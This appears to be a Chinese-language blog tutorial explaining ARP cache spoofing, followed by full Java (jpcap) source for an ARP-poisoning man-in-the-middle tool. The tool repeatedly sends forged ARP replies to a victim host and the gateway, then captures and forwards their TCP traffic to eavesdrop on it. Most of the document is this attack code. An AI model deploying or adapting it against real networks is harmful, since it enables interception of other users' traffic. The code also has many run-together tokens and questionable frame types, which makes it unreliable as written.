如果我们每当要发送一个数据包时都进行arp请求会显得很麻烦,因此arp协议的设计者们便利用一个arp缓存来存储最近一段时间的ip-mac对。你在cmd命令框中输入arp-a就可以看到本机的arp缓存信息。
另外arp协议规定,接受arp应答数据包一直是允许。即使某一台主机没有发送arp请求,它仍然会接受arp应答并处理他。
这是由于这两点使得arp欺骗有了可乘之机。
arp欺骗者不断的发送给被攻击的主机一个arp应答,于是被攻击的主机的arp缓存中便一直保留着错误的ipmac对,比如,攻击者发送一个arp应答给被攻击的主机,说,ip是gateIp的主机的mac地址是myMac。于是被攻击的主机便将gateIp,myMac这一对ip-mac对存储到arp缓存里。当被攻击的主机下次发送数据给gateIp时,找到对应的mac地址,其实这个地址是攻击者的mac(myMac)地址,于是被攻击的主机便将数据包发送给了攻击者。如果此时攻击者再将数据包发送给网关,此时,被攻击者并不能感觉到任何异常,但其实它的数据已经被攻击者窃听到了。
示意图:
java代码://需要下载jpcap包,本例中不仅欺骗被攻击者,同时也欺骗网关。过程同欺骗被攻击者。
arpCheat.java
package arp;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.*;
import jpcap.packet.*;
public class arpCheat {
jpcap.JpcapSender sender;
jpcap.JpcapSender sender1;
jpcap.JpcapSender sender2;
NetworkInterface[] devices;
jpcap.NetworkInterface device ;
arpCheat()
{
devices = JpcapCaptor.getDeviceList();
device = devices[0];
try{
sender = JpcapSender.openDevice(device);
sender1 = JpcapSender.openDevice(device);
sender2 = JpcapSender.openDevice(device);
}catch(IOException e){e.printStackTrace();}
}
publicARPPacket arpPackage(ipMacMap cheatLocalIpMac,ipMacMapdesIpMac)//假的ipmac对
{
ARPPacket arpPackage =new ARPPacket();
arpPackage.hardtype =ARPPacket.HARDTYPE_ETHER;
arpPackage.prototype =ARPPacket.PROTOTYPE_IP;
arpPackage.operation =ARPPacket.ARP_REPLY;
arpPackage.hlen =6;
arpPackage.plen =4;
arpPackage.sender_hardaddr = cheatLocalIpMac.getMac();
arpPackage.target_hardaddr = desIpMac.getMac();
try
{
arpPackage.sender_protoaddr =InetAddress.getByName(cheatLocalIpMac.getIp()).getAddress();
arpPackage.target_protoaddr =InetAddress.getByName(desIpMac.getIp()).getAddress();
}catch(UnknownHostException e){e.printStackTrace();}
returnarpPackage;
}
publicEthernetPacket ethPackage(ipMacMap localIpMac,ipMacMapdesIpMac)
{
EthernetPacketethPackage = new EthernetPacket();
ethPackage.frametype =EthernetPacket.ETHERTYPE_ARP;
ethPackage.dst_mac =desIpMac.getMac();
ethPackage.src_mac =localIpMac.getMac();
return ethPackage;
}
//run线程
publicvoid SendArp(final ipMacMap cheatLocalIpMac,final ipMacMapdesIpMac)throws Exception
{
Thread t = newThread(new Runnable () {
public void run()
{
while(true){//循环发送,使得被攻击的arp缓存一直是错误的状态
try{
ARPPacket arpPackage =new ARPPacket();
arpPackage =arpPackage(cheatLocalIpMac,desIpMac);
Thread.sleep(500);
arpPackage.datalink =ethPackage(cheatLocalIpMac,desIpMac);
sender.sendPacket(arpPackage);
}catch(InterruptedException e ){e.printStackTrace();}
//System.out.println("1"+arpPackage.datalink+""+arpPackage);
}
}
});
t.start();
}
publicstatic void main(String[] args)throws Exception
{
String desIp ="10.20.213.41";
String gateIp ="10.20.213.20";
byte[] gateMac ={(byte)0x3c,(byte)0xe5,(byte)0xa6,(byte)0x14,(byte)0x1d,(byte)0x71};
byte[] localMac =JpcapCaptor.getDeviceList()[0].mac_address;
byte[] desMac = {(byte)0xD0,(byte)0xDF,(byte)0x9A,(byte)0xAB,(byte)0xCF,(byte)0x29};
arpCheat send1 = newarpCheat();
arpCheat send2 = newarpCheat();
ipMacMap cheatLocalIpMac= new ipMacMap(gateIp,localMac);
ipMacMap desIpMac = newipMacMap(desIp,desMac);
ipMacMap gateIpMac = newipMacMap(gateIp,gateMac);
ipMacMap cheatGateIpMac = newipMacMap(desIp,localMac);
send1.SendArp(cheatLocalIpMac,desIpMac);//给被攻击者的arp应答包
send2.SendArp(cheatGateIpMac,gateIpMac);//给网关的arp应答包
newreceivePacket(gateIp,desIp,gateMac,desMac,localMac);//捕获数据包,并且将数据包转发到正确的地址。
}
}
ipMacMap.java
package arp;
public class ipMacMap {
String ip = new String();
byte[] mac = {0};
public ipMacMap(String i,byte[] m)
{
ip =i;
mac =m;
}
public byte[] getMac()
{
returnmac;
}
public String getIp()
{
returnip;
}
}
receivePacket.java
package arp;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import jpcap.*;
import jpcap.packet.*;
public class receivePacket {
String desIp;
String gateIp;
byte[] gateMac;
byte[] desMac;
byte[] localMac;
jpcap.JpcapSender sender;
receivePacket(StringdesIp1 ,String gateIp1,byte[] gateMac1,byte[] desMac1,byte[]localMac1)
{
this.desIp =desIp1;
this.gateIp =gateIp1;
this.gateMac =gateMac1;
this.desMac =desMac1;
this.localMac =localMac1;
this.getPacket();
}
public voidgetPacket()
{
jpcap.NetworkInterface device = JpcapCaptor.getDeviceList()[0];
try{
sender =JpcapSender.openDevice(device);
}catch(IOException e){e.printStackTrace();}
while(true)
{
try{
JpcapCaptor jpcap =JpcapCaptor.openDevice(device, 2000, false, 100);
jpcap.setFilter("ip and tcp", true);
Packetp = jpcap.getPacket();
if(p!= null)
{
if(((IPPacket)p).dst_ip.toString().equals("/"+gateIp))//目的地址是网关
{
System.out.println(p.datalink+""+p);
//构造IP包
EthernetPacket ethPackage =new EthernetPacket();
ethPackage.frametype =EthernetPacket.ETHERTYPE_ARP;
ethPackage.dst_mac =gateMac;
ethPackage.src_mac =desMac;
p.datalink = ethPackage;
sender.sendPacket(p);
}
else
if(((IPPacket)p).dst_ip.toString().equals("/"+desIp))//目的是入侵的主机
{
System.out.println(p.datalink+""+p);
//构造IP包
EthernetPacket ethPackage =new EthernetPacket();
ethPackage.frametype =EthernetPacket.ETHERTYPE_ARP;
ethPackage.dst_mac =desMac;
ethPackage.src_mac =gateMac;
p.datalink = ethPackage;
sender.sendPacket(p);
}
}
jpcap.close();
}catch(IOExceptione){e.printStackTrace();}
}
}
}